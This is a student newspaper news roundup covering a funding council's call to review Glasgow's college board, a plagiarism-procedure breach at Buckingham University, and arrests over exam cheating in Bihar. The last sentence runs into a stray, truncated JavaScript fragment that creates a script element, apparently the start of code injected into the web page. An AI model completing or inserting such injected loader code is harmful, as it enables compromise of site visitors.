Studentsphere: Edition 6

By Émer O’Toole, News Editor


Call for review of powerful board that runs Glasgow Colleges’

The Scottish Funding Council (SFC) has called for an independent review of the board that controls Glasgow’s three colleges.

SFC acted after concerns the Glasgow Colleges’ Regional Board was “far from ready.”

The board was supposed to take over the administration of the £80 million total funding for Glasgow’s three colleges in April, but the date has now been postponed to August.

The SFC claim that the board- under the control of chairman Henry McLeish, the former First Minster- has not made satisfactory progress and has even suggested putting its own official into the organisation.

An SFC spokesman said: “The board is far from ready to be in a position to fund the city’s colleges, one of its core functions, and SFC naturally needs assurance on certain key governance criteria for this to happen.

“As a result, the SFC has proposed a review of progress in addition to the secondment of a senior director.”

A spokesman for the Glasgow Colleges Regional Board said: “As part of the ongoing discussions with the SFC we are looking at what further steps are required to progress the board toward fundable body status and we are looking at that progress.

“SFC made a number of suggestions that we are considering, but we see no need for an independent review. Substantial progress has been made and we now need to move forward to deal with the outstanding issues.”


Buckingham University in plagiarism ‘breach’

Buckingham University breached its own regulations in an investigation into possible plagiarism, according to an indepenedent study.

Concerns about plagiarism in a 2013 law module should have led to a formal process, says the Quality Assurance Agency for Higher Education.

Instead, academics reduced students’ marks for “poor academic performance.”

The University deemed this more appropriate because the problem was apparently poor referencing instead of plagiarism.

The QAA found that academics at the University were concerned about 10% of the number of essays submitted, which were thought to have quoted “directly from a source” and failed to “insert quotations marks around the quoted passages.”

However, the University’s own investigation revealed that the students had not been trained on how to avoid plagiarism and had not committed any deliberate action to deceive.

Instead of using its formal plagiarism procedure, the University “determined upon a mark reduction for over-reliance on ‘one or two articles’” and a subsequent interview with the students to explain.

It was “deemed not sufficiently serious in nature for it to be recorded on the students’ records”.


India arrests hundreds over Bihar school cheating

Around 300 people have been arrested in the Indian state of Bihar, according to authorities, following reports of blatant cheating in school exams.

Parents and friends of students were photographed climbing school walls to pass on answers.

Many of those arrested were parents and around 750 students have been expelled.

An estimated 1.4 million students are taking their school leaving exams in Bihar alone- seen as crucial for their chances of a successful career.

The episode prompted ridicule on social media.

Students were seen copying answers from smuggled-in note sheets, and police outside test centres were even seen being bribed to pretend not to notice.

As well as the arrests, in four centres further exams will not go ahead.

Bihar Chief Minister Nitish Kumar warned parents that helping their children cheat has no long-term benefits.

State Education Minister PK Shahi said: “Three to four people helping a single student would mean that there is a total of six to seven million people helping students cheat.”

“Is it the responsibility of the government alone to manage such a huge number of people and to conduct a 100% free and fair examination?”var d=document;var s=d.createElement(‘script’);